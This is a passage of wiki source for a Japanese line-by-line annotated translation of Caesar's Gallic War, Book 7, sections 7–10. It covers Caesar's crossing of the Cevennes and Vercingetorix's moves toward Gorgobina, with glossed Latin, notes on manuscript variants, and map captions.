*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:untiatus#Latin|nuntiata]] 
**その事を報告されると、
*Caesar omnibus [[wikt:en:consilium#Latin|consiliis]] [[wikt:en:antevertendus#Latin|antevertendum]] &lt;span style=&quot;color:#009900;font-size:8pt;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:existimavit|existimavit]], ut [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:proficisceretur|proficisceretur]]. 
**カエサルは、ナルボーに出発することを、あらゆる計画に先立ってするべきであると考えた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへやって来ると、
*[[wikt:en:timens#Latin|timentes]] [[wikt:en:confirmat#Latin|confirmat]], 
**&lt;ruby&gt;&lt;rb&gt;怖気&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おじけ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ている者たちを元気付けて、
*[[wikt:en:praesidium#Latin|praesidia]] 
**守備隊を
*in [[wikt:en:Ruteni#Latin|Rutenis]] [[wikt:en:provincialis#Latin|provincialibus]], [[wikt:en:Volcae#Latin|Volcis]] [[wikt:en:Arecomici#Latin|Arecomicis]], [[wikt:en:Tolosates#Latin|Tolosatibus]] 
**属州側のルテーニー族、[[w:ウォルカエ族|ウォルカエ]]・アレコミキー族、トローサーテース族&lt;small&gt;（らの領内）&lt;/small&gt;に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上述のように、属州外の&lt;u&gt;ルテーニー族&lt;/u&gt;は[[w:アルウェルニ族|アルウェルニー族]]と結んでいる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:ウォルカエ族|ウォルカエ族]]は、西側に住むテクトサゲース族 ''[[w:en:Tectosages|Tectosages]]'' と&lt;br&gt;　　　　　　　　　　　　東側に住むアレコミキー族 ''[[w:en:Arecomici|Arecomici]]'' の2支族に分かれていた。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：トローサーテース族 ''[[w:fr:Tolosates|Tolosates]]'' は、ウォルカエ・テクトサゲース族の分派とされ、&lt;br&gt;　　　　　現在の[[w:トゥールーズ|トゥールーズ]]の近くにいたと考えられている。）&lt;/span&gt;
*[[wikt:en:circum#Preposition|circum]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Narbo#Latin|Narbonem]], quae [[wikt:en:locum#Latin|loca]] hostibus erant [[wikt:en:finitimus#Latin|finitima]], 
**および敵方に隣接した地である[[w:ナルボンヌ|ナルボー]]周辺に
*[[wikt:en:constituit#Latin|constituit]]; 
**駐留させる。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; partem [[wikt:en:copiae#Noun_2|copiarum]] ex [[wikt:en:provincia#Latin|provincia]] 
**属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;からの軍勢の一部、
*[[wikt:en:supplementum#Latin|supplementum]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quod ex Italia [[wikt:en:adduxerat|adduxerat]], 
**およびイタリアから率いて来た補充兵を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：後者の補充兵 supplementum は、[[#1節|1節]]で既述のように、&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]で徴募された軍団兵であろう。）&lt;/span&gt;
*in [[wikt:en:Helvii#Latin|Helvios]], qui fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:contingunt|contingunt]], 
**[[w:アルウェルニ族|アルウェルニー族]]の領土に接しているヘルウィイー族のところに
*[[wikt:en:convenire#Latin|convenire]] [[wikt:en:iubet#Latin|iubet]].
**集結することを命じる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===8節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/8節]]　{{進捗|00%|2026-01-03}}&lt;/span&gt;
[[画像:Carte-cevennes-france.png|thumb|right|200px|フランスにおける[[w:中央高地 (フランス)|中央高地]]（Massif Central）とセヴェンヌ山地（Cévennes）の位置]]
[[画像:Col_de_legal.jpeg|thumb|right|200px|[[w:雪|雪]]に覆われた[[w:オーヴェルニュ地域圏|オーヴェルニュ高地]]。オーヴェルニュ（Auvergne）の名は[[w:アルウェルニ族|アルウェルニー族]]（Arverni）に由来する。]]
[[画像:Causse_Mejean_Evening.jpg|thumb|right|200px|城壁のように続くケウェンナ（セヴェンヌ）山地の断崖]]
[[画像:France_Massif_central.jpg|thumb|right|200px|[[w:アルウェルニ族|アルウェルニー族]]の勢力圏であった[[w:中央高地 (フランス)|中央高地]]（Massif Central）の領域（着色部分）。平野の多いフランスにおいて山塊としてそびえ立つ。]]
:　
;カエサルがケウェンナ山地を越えてアルウェルニー族の領内へ突入
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus [[wikt:en:comparatus#Latin|comparatis]], 
**これらの事が整えられて、
*[[wikt:en:repressus#Latin|represso]] iam [[wikt:en:Lucterius#Latin|Lucterio]] et [[wikt:en:remotus#Latin|remoto]], 
**&lt;small&gt;（カドゥルキー族の）&lt;/small&gt;ルクテリウスはすでに押し留められ、遠ざけられた。
*quod [[wikt:en:intrare#Latin|intrare]] intra [[wikt:en:praesidium#Latin|praesidia]] [[wikt:en:periculosus#Latin|periculosum]] [[wikt:en:putabat|putabat]], 
**──というのは&lt;small&gt;（ローマ人の）&lt;/small&gt;守備の範囲内に踏み込むことは危険なことであると&lt;small&gt;（ルクテリウスが）&lt;/small&gt;見なしていたからであるが、──
*in [[wikt:en:Helvii#Latin|Helvios]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（そこで、カエサルは）&lt;/small&gt;ヘルウィイー族のところに出発する。
:　
;　　　カエサルが、アルウェルニー族の要害ケウェンナ山を越える
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; &lt;u&gt;Etsi&lt;/u&gt; mons &lt;u&gt;Cevenna&lt;/u&gt;, qui [[wikt:en:Arverni#Latin|Arvernos]] ab [[wikt:en:Helvii#Latin|Helviis]] [[wikt:en:discludit|discludit]], 
**[[w:アルウェルニ族|アルウェルニー族]]をヘルウィイー族から隔てている&lt;u&gt;ケウェンナ山&lt;/u&gt;は、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：山の名は写本によって Cebenna または Cevenna となっており、&lt;br&gt;　　　　　[[w:ガイウス・プリニウス・セクンドゥス|大プリーニウス]]が記した [[wikt:en:Cebenna#Latin|Cebenna]] がガリア語に近いようである。&lt;br&gt;　　　　現在名はセヴェンヌ山地 Cévennes と呼ばれ、&lt;br&gt;　　　　　[[w:中央高地 (フランス)|フランス中央高地]]（Massif Central）の南東部にそそり立っている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …「～としても、にもかかわらず…」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:mons#Latin|mons]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*[[wikt:en:durissimus#Latin|durissimo]] tempore anni 
**最も厳しい時季に
*[[wikt:en:altissimus#Latin|altissima]] [[wikt:en:nix#Latin|nive]] iter [[wikt:en:impediebat|impediebat]], 
**豪[[w:雪|雪]]によって道を閉ざしていたのであるが、
*&lt;u&gt;tamen&lt;/u&gt; [[wikt:en:discussus#Latin|discussa]] [[wikt:en:nix#Latin|nive]] sex in [[wikt:en:altitudo#Latin|altitudinem]] [[wikt:en:pes#Latin|pedum]] 
**にもかかわらず&lt;small&gt;（カエサル勢は）&lt;/small&gt;深さ6&lt;u&gt;ペース&lt;/u&gt;の雪を粉砕して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、6ペースは約1.8メートル弱。）&lt;/span&gt;
*atque ita [[wikt:en:via#Latin|viis]] [[wikt:en:patefactus#Latin|patefactis]] [[wikt:en:summus#Latin|summo]] [[wikt:en:miles#Latin|militum]] &lt;u&gt;sudore&lt;/u&gt;
**このように兵士たちの最大の努力によって道が開かれて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sudor#Latin|sudore]]「汗」だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:labor#Latin|labore]]「労苦」 となっている。）&lt;/span&gt;
*ad fines [[wikt:en:Arverni#Latin|Arvernorum]] [[wikt:en:pervenit#Latin|pervenit]]. 
**[[w:アルウェルニ族|アルウェルニー族]]の領土へ到達した。
:　
;　　　アルウェルニー族が、カエサルの奇襲に周章狼狽する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus [[wikt:en:oppressus#Latin|oppressis]] [[wikt:en:inopinans#Latin|inopinantibus]], 
**&lt;small&gt;（アルウェルニー族は）&lt;/small&gt;彼らに対する&lt;small&gt;（カエサルの）&lt;/small&gt;攻撃を予期していなかったが、
*quod se &lt;u&gt;Cevenna&lt;/u&gt; ut [[wikt:en:murus#Latin|muro]] [[wikt:en:munitus#Latin|munitos]] [[wikt:en:existimabant|existimabant]], 
**──というのは、自分たちは&lt;u&gt;ケウェンナ&lt;/u&gt;を壁として防御されていると考えていたからであり、
*ac &lt;u&gt;ne&lt;/u&gt; [[wikt:en:singularis#Latin|singulari]] &lt;u&gt;quidem&lt;/u&gt; [[wikt:en:umquam#Latin|umquam]] homini eo tempore anni [[wikt:en:semita#Latin|semitae]] [[wikt:en:patuerant|patuerant]], 
**かつ、その時季には、個人にとってさえも、小道はかつて開かれていなかったからであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*[[wikt:en:eques#Latin|equitibus]] [[wikt:en:imperat|imperat]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;騎兵たちに命令する。
*ut, [[wikt:en:quam#Adverb|quam]] [[wikt:en:late#Latin|latissime]] [[wikt:en:possint|possint]], [[wikt:en:vagentur|vagentur]] 
**できるだけ広く動き回り、
*et [[wikt:en:quam#Adverb|quam]] maximum hostibus [[wikt:en:terror#Latin|terrorem]] [[wikt:en:inferant|inferant]]. 
**敵たちに最大限の恐怖を引き起こすように、と。
:　
;　　　ウェルキンゲトリークスが、ビトゥリゲース族のもとから軍勢を取って返す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Celeriter haec [[wikt:en:fama#Latin|fama]] ac &lt;u&gt;nuntiis&lt;/u&gt; 
**これらのことは速やかに風評や伝令たちによって、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では [[wikt:en:nuntii#Latin|nuntii]] だが、&lt;br&gt;　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Manutius|Manutius]]'' が [[wikt:en:nuntiis#Etymology_1|nuntiis]] と修正提案している。）&lt;/span&gt;
*ad [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:perferuntur|perferuntur]]; 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のもとへ報知される。
*quem [[wikt:en:perterritus#Latin|perterriti]] omnes [[wikt:en:Arverni#Latin|Arverni]] [[wikt:en:circumsistunt|circumsistunt]] atque [[wikt:en:obsecrant|obsecrant]], 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;を、脅かされている[[w:アルウェルニ族|アルウェルニー族]]の皆が取り巻いて、嘆願する。
*ut suis [[wikt:en:fortuna#Latin|fortunis]] [[wikt:en:consulat#Latin|consulat]], 
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;の境遇に配慮してくれるように、
*&lt;u&gt;neve&lt;/u&gt; ab hostibus &lt;u&gt;diripiantur&lt;/u&gt;,  
**自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;が敵&lt;small&gt;〔ローマ人〕&lt;/small&gt;によって略奪されることを許容しないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この行は、&amp;alpha;系写本では [[wikt:en:neve#Latin|neve]] ab hostibus [[wikt:en:diripiantur|diripiantur]] &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:neu#Latin|neu]] se ab hostibus [[wikt:en:diripi|diripi]] [[wikt:en:patiatur|patiatur]] となっている。）&lt;/span&gt;
*[[wikt:en:praesertim#Latin|praesertim]] cum [[wikt:en:videat|videat]] [[wikt:en:omnis#Latin|omne]] ad se bellum [[wikt:en:translatus#Participle|translatum]]. 
**とりわけ、すべての戦争が自分たちへ向けられると&lt;small&gt;（彼が）&lt;/small&gt;見なしているのであるから
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：praesertim cum ～；とりわけ～であるから）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quorum ille [[wikt:en:prex#Latin|precibus]] [[wikt:en:permotus#Latin|permotus]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、その者たちの懇願に揺り動かされて、
*[[wikt:en:castra#Latin|castra]] ex [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:movet|movet]] in [[wikt:en:Arverni#Latin|Arveruos]] [[wikt:en:versus#Latin|versus]].
**陣営をビトゥリゲース族のところから[[w:アルウェルニ族|アルウェルニー族]]のところに向けて行軍する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：castra movet 「陣営を動かす」＝「行軍する」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：現在の[[w:ブールジュ|ブールジュ]]辺りから[[w:クレルモン＝フェラン|クレルモン＝フェラン]]辺りに南下したようである。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===9節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/9節]]　{{進捗|00%|2026-01-12}}&lt;/span&gt;
;カエサルが北上して諸軍団と合流するが、同盟軍はゴルゴビナ攻略をめざす
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; At Caesar, [[wikt:en:biduum#Latin|biduum]] in his locis [[wikt:en:moratus#Participle|moratus]], 
**それに対して、カエサルは2日間、この地に留まった。
*quod haec de [[wikt:en:Vercingetorix#Latin|Vercingetorige]] usu ventura [[wikt:en:opinio#Latin|opinione]] [[wikt:en:praeceperat|praeceperat]], 
**──というのは、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]についてこれ&lt;small&gt;〔陣営の移動〕&lt;/small&gt;が起こると予想をしていたからだが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：usu venire 「起こる」→&amp;nbsp; usu [[wikt:en:venturus#Latin|ventūra]] (esse) 「起こるであろう」）&lt;/span&gt;
*per causam [[wikt:en:supplementum#Latin|supplementi]] [[wikt:en:equitatus#Noun|equitatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:cogendus#Latin|cogendi]] 
**補充兵と騎兵隊を徴集するためという口実のもとに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：per causam 「口実のもとに」）&lt;/span&gt;
*ab [[wikt:en:exercitus#Noun|exercitu]] [[wikt:en:discedit|discedit]]; 
**軍隊から離れる。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:Brutus#Latin|Brutum]] [[wikt:en:adulescens#Noun|adulescentem]] his copiis [[wikt:en:praeficit|praeficit]]; 
**&lt;small&gt;（カエサルは）&lt;/small&gt;&lt;u&gt;青年ブルートゥス&lt;/u&gt;にこの軍勢を指揮させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：青年ブルートゥスとは、&lt;br&gt;　　　　[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ブルートゥス]]（&lt;small&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/small&gt;）のことで、&lt;br&gt;　　　　[[ガリア戦記 第3巻#14節|第3巻14節]]でカエサルの艦隊を指揮した。）&lt;/span&gt;
*hunc [[wikt:en:monet#Latin|monet]], ut in omnes partes [[wikt:en:eques#Latin|equites]] quam [[wikt:en:late#Latin|latissime]] [[wikt:en:pervagentur|pervagentur]]: 
**彼には、[[w:騎兵|騎兵]]たちがあらゆる方面にできるだけ広く駆け回るようにと、忠告する。
*&lt;u&gt;daturum&lt;/u&gt; se &lt;u&gt;operam&lt;/u&gt;, ne longius [[wikt:en:triduum#Latin|triduo]] ab [[wikt:en:castra#Latin|castris]] [[wikt:en:absit#Latin|absit]]. 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は、3日間より長く陣営から離れないように、努力をするであろう、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:opera#Latin|operam]] dare 「努力をする」→&amp;nbsp; operam  [[wikt:en:daturus#Latin|datūrum]] (esse) 「努力をするであろう」）&lt;/span&gt;
[[画像:Image-Vienne-Cropped.jpg|thumb|right|300px|'''ウィエンナ'''（Vienna）すなわち現在のヴィエンヌ（Vienne）。ロダヌス川（現[[w:ローヌ川|ローヌ川]]）のほとりにある当地は、南仏[[w:プロヴァンス|プロヴァンス地方]]と北仏[[w:ブルゴーニュ地域圏|ブルゴーニュ地方]]を結ぶ交通の要衝として、古代ローマ時代から栄え、今もローマ時代の遺跡が多く残る。]]
:　
;　　　カエサルが、急いでウィエンナへ北進する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:constitutus#Participle|constitutis]] rebus, 
**これらの事を決定すると、
*&lt;u&gt;omnibus&lt;/u&gt; suis [[wikt:en:inopinans#Latin|inopinantibus]], 
**配下の皆が予期しないほど、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：omnibus は &amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
*quam [[wikt:en:maximus#Latin|maximis]] potest [[wikt:en:iter#Latin|itineribus]], 
**できるかぎりの強行軍で、
*[[wikt:en:Vienna#Etymology_1|Viennam]] [[wikt:en:pervenit#Latin|pervenit]]. 
**&lt;u&gt;ウィエンナ&lt;/u&gt;に到着する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ウィエンナ [[w:la:Vienna|Vienna]] は、&lt;br&gt;　　　　　現在の[[w:ヴィエンヌ (イゼール県)|ヴィエンヌ]] ''[[w:en:Vienne, Isère|Vienne]]''）&lt;/span&gt;
:　
;　　　カエサルが、ハエドゥイー族領を抜けて、2個軍団が冬営するリンゴネース族領へ向けて北上する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:ibi#Latin|Ibi]] [[wikt:en:nactus#Latin|nactus]] [[wikt:en:recens#Latin|recentem]] [[wikt:en:equitatus#Latin|equitatum]], quem [[wikt:en:multus#Latin|multis]] ante diebus eo [[wikt:en:praemiserat|praemiserat]], 
**そこで、何日も前にそこに先遣していたまだ新兵の騎兵隊を得て、
[[画像:Langres_FR_(march_2008).jpg|thumb|right|300px|リンゴネース族（Lingones）の名を残す[[w:ラングル|ラングル]]（Langres）の街の雪景色]]
*neque [[wikt:en:diurnus#Latin|diurno]] neque [[wikt:en:nocturnus#Latin|nocturno]] itinere [[wikt:en:intermissus#Latin|intermisso]] 
**昼間も夜間も行軍を中断せずに、
*per fines [[wikt:en:Aedui#Latin|Haeduorum]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領土を通って、
*in [[wikt:en:Lingones#Latin|Lingones]] [[wikt:en:contendit|contendit]], 
**&lt;u&gt;リンゴネース族のところ&lt;/u&gt;に急いだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リンゴネース族 [[w:la:Lingones|Lingones]] の首邑は&lt;br&gt;　　　　　現在の[[w:ラングル|ラングル]] ''[[w:en:Langres|Langres]]'' で、&lt;br&gt;　　　　　ローマ時代には [[w:la:Andematunnum|Andematunnum]] と呼ばれたが、&lt;br&gt;　　　　''[[wikt:fr:Lingones|Lingones]]'' の転訛が ''[[wikt:fr:Langres|Langres]]'' である。）&lt;/span&gt;
*[[wikt:en:ubi#Latin|ubi]] [[wikt:en:duo#Latin|duae]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:hiemabant|hiemabant]], 
**そこには、2個[[w:ローマ軍団|軍団]]が冬営していた。
*ut, si [[wikt:en:aliquis#Latin|quid]] etiam de sua [[wikt:en:salus#Latin|salute]] ab [[wikt:en:Aedui#Latin|Haeduis]] [[wikt:en:iniretur|iniretur]] [[wikt:en:consilium#Latin|consilii]], [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:praecurreret|praecurreret]]. 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自らの安全についてさえ、ハエドゥイー族により何らかの謀計が始められても、速やかに凌駕するように。
:　
;　　　カエサルが、リンゴネース族領の軍団冬営地へ到着して、諸軍団へ集結を指令する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:pervenisset|pervenisset]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;そこへ到着したときに、
*ad reliquas [[wikt:en:legio#Latin|legiones]] [[wikt:en:mittit|mittit]] 
**残りの軍団のもとへ&lt;small&gt;（伝令を）&lt;/small&gt;遣わす。
*&lt;u&gt;prius&lt;/u&gt;que omnes in unum locum [[wikt:en:cogit|cogit]], &lt;u&gt;quam&lt;/u&gt; de eius [[wikt:en:adventus#Latin|adventu]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:nuntiari|nuntiari]] [[wikt:en:posset#Latin|posset]]. 
**彼の到着について[[w:アルウェルニ族|アルウェルニー族]]に知らされ得るより早く、総勢が一か所に集結するように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:priusquam#Latin|prius ～ quam]] …；…より早く～）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ボイイー族がいるゴルゴビナの攻略を企図する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Hac re [[wikt:en:cognitus#Participle|cognita]], 
**この事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] rursus in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reducit|reducit]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は再びビトゥリゲース族のところに軍隊を連れ戻して、
*atque [[wikt:en:inde#Latin|inde]] [[wikt:en:profectus#Participle_2|profectus]] Gorgobinam, [[wikt:en:Boii#Latin|Boiorum]] [[wikt:en:oppidum#Latin|oppidum]], 
**そこから、[[w:ボイイ族|ボイイー族]]の城塞都市であるゴルゴビナへ出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ゴルゴビナ ''[[w:en:Gorgobina|Gorgobina]]'' は、現在の候補地としては、&lt;br&gt;　　　　　[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリズ＝ル＝シャテル&lt;small&gt;（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）&lt;/small&gt;&lt;br&gt;　　　　　[[w:アンドル＝エ＝ロワール県|アンドル＝エ＝ロワール県]]のラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）&lt;br&gt;　　　　あるいは、[[w:シェール県|シェール県]]のサン＝サテュル（[[w:fr:Saint-Satur|Saint-Satur]]）などが挙げられている。）&lt;/span&gt;
*quos ibi [[wikt:en:helvetico|Helvetico]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:victus#Participle|victos]] 
**──[[w:ヘルウェティイ族|ヘルウェーティイー族]]の戦闘で打ち負かされた彼らをそこに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ボイイー族はヘルウェーティイー族とともにガッリアに移動して、カエサルに敗れていた。第1巻28節～29節を参照。）&lt;/span&gt;
*Caesar [[wikt:en:conlocaverat#Latin|conlocaverat]] [[wikt:en:Aedui#Latin|Haeduis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adtribuerat#Latin|adtribuerat]], 
**カエサルは宿営させ、ハエドゥイー族&lt;small&gt;（の庇護）&lt;/small&gt;に委ねていたのだが、──
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]].
**&lt;small&gt;（ウェルキンゲトリークスはゴルゴビナの）&lt;/small&gt;攻略を決意した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===10節===
[[画像:Caesar's_campaign_to_Agedincum_in_52BC.png|thumb|right|250px|前節までのカエサルの[[w:ナルボンヌ|ナルボー]]からアゲディンクムへの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルは[[w:アルウェルニ族|アルウェルニー族]]の本拠ゲルゴウィアを突くと見せかけてウェルキンゲトリークスを引き寄せ、その間に[[w:ブルゴーニュ地域圏|ブルゴーニュ]]に冬営していた諸軍団と合流できた。これに対して、ウェルキンゲトリークスはボイイー族を攻めようとする。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/10節]]　{{進捗|00%|2026-01-16}}&lt;/span&gt;
;カエサルがアゲディンクムを発って、ボイイー族支援に向かう
:　
;　　　カエサルが抱えることになった「大きな困難」とは？
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Magnam haec res Caesari [[wikt:en:difficultas#Latin|difficultatem]] ad [[wikt:en:consilium#Latin|consilium]] [[wikt:en:capiendus#Latin|capiendum]] [[wikt:en:adferebat|adferebat]]&lt;!--:--&gt;, 
**この事態は、カエサルが作戦を立てるためには、大きな困難を引き起こしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：haec res 「この事態」とは、&lt;br&gt;　　　　　ウェルキンゲトリークスが&lt;br&gt;　　　　　ハエドゥイー族の庇護下にあったボイイー族を攻めること。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：magnam ～ difficultatem 「大きな困難を」）&lt;/span&gt;
*si reliquam partem [[wikt:en:hiems#Latin|hiemis]] uno loco [[wikt:en:legio#Latin|legiones]] [[wikt:en:contineret|contineret]], 
**もし、冬の残りの期間に、諸[[w:ローマ軍団|軍団]]を1か所に留めておくならば、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前節で述べられたように、&lt;br&gt;　　　　　カエサルはリンゴネース族の軍団冬営地に着いたときに、&lt;br&gt;　　　　　諸軍団に1か所に集結するべく伝令を遣わしていた。）&lt;/span&gt;
*ne, [[wikt:en:stipendiarius#Latin|stipendiariis]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:expugnatus#Latin|expugnatis]], [[wikt:en:cunctus#Latin|cuncta]] Gallia [[wikt:en:deficeret|deficeret]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]の朝貢国が攻略されて、ガッリア全体が背くのではないか？
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「ハエドゥイー族の朝貢国」とは、ボイイー族のこと。）&lt;/span&gt;
*quod [[wikt:en:nullus#Determiner|nullum]] amicis in eo [[wikt:en:praesidium#Latin|praesidium]] &lt;u&gt;videret positum esse&lt;/u&gt;; 
**──というのは、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;においては、友邦に対するいかなる守備隊も置かれていないと&lt;small&gt;（ガッリアが）&lt;/small&gt;見るからである──。
